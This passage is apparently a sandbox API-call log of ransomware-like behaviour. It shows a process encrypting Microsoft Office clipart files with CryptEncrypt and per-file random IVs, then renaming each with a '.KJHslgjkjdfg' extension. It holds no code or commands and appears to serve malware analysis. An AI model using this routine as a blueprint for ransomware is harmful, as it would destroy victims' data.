(in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.280] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.280] GetProcessHeap () returned 0x990000 [0205.280] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.280] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.280] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.280] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.283] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.283] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.283] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.283] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.284] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.284] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.284] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15b0, lpOverlapped=0x0) returned 1 [0205.285] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15b0, dwBufLen=0x15b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15b0) returned 1 [0205.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.285] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x15b0, lpOverlapped=0x0) returned 1 [0205.285] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.285] SetEndOfFile (hFile=0x130) returned 1 [0205.288] GetProcessHeap () returned 0x990000 [0205.288] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.288] GetProcessHeap () returned 0x990000 [0205.288] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.kjhslgjkjdfg")) returned 1 [0205.290] CloseHandle (hObject=0x130) returned 1 [0205.290] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1858, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01157_.WMF", cAlternateFileName="")) returned 1 [0205.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.291] GetProcessHeap () returned 0x990000 [0205.291] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.291] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.292] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.294] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.295] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.295] GetProcessHeap () returned 0x990000 [0205.295] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.295] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.295] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.295] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.295] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.295] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.295] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.295] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.295] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.296] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.296] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1858, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1858, lpOverlapped=0x0) returned 1 [0205.297] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1860, dwBufLen=0x1860 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1860) returned 1 [0205.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.297] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1860, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1860, lpOverlapped=0x0) returned 1 [0205.297] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.297] SetEndOfFile (hFile=0x130) returned 1 [0205.300] GetProcessHeap () returned 0x990000 [0205.300] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.300] GetProcessHeap () returned 0x990000 [0205.300] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.300] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.kjhslgjkjdfg")) returned 1 [0205.302] CloseHandle (hObject=0x130) returned 1 [0205.303] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf04c7b00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf04c7b00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1c74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01158_.WMF", cAlternateFileName="")) returned 1 [0205.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.305] GetProcessHeap () returned 0x990000 [0205.305] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.306] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.306] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.309] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.309] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.309] GetProcessHeap () returned 0x990000 [0205.309] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.309] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.309] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.309] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.309] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.309] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.309] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.310] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.310] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.310] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.310] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c74, lpOverlapped=0x0) returned 1 [0205.311] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c80, dwBufLen=0x1c80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c80) returned 1 [0205.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.311] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c80, lpOverlapped=0x0) returned 1 [0205.311] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.311] SetEndOfFile (hFile=0x130) returned 1 [0205.314] GetProcessHeap () returned 0x990000 [0205.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.314] GetProcessHeap () returned 0x990000 [0205.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.kjhslgjkjdfg")) returned 1 [0205.315] CloseHandle (hObject=0x130) returned 1 [0205.317] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1694, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01161_.WMF", cAlternateFileName="")) returned 1 [0205.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.321] GetProcessHeap () returned 0x990000 [0205.321] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.321] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.321] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.324] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.324] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.324] GetProcessHeap () returned 0x990000 [0205.324] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.324] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.324] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.324] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.324] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.324] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.324] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.324] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.325] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.325] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.325] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1694, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1694, lpOverlapped=0x0) returned 1 [0205.326] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16a0, dwBufLen=0x16a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16a0) returned 1 [0205.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.326] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16a0, lpOverlapped=0x0) returned 1 [0205.326] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.326] SetEndOfFile (hFile=0x130) returned 1 [0205.329] GetProcessHeap () returned 0x990000 [0205.329] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.329] GetProcessHeap () returned 0x990000 [0205.329] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.kjhslgjkjdfg")) returned 1 [0205.331] CloseHandle (hObject=0x130) returned 1 [0205.331] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f80000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92f80000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01164_.WMF", cAlternateFileName="")) returned 1 [0205.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.332] GetProcessHeap () returned 0x990000 [0205.332] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.332] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.332] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.335] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.335] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.335] GetProcessHeap () returned 0x990000 [0205.335] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.335] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.335] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.335] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.335] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.335] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.336] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, 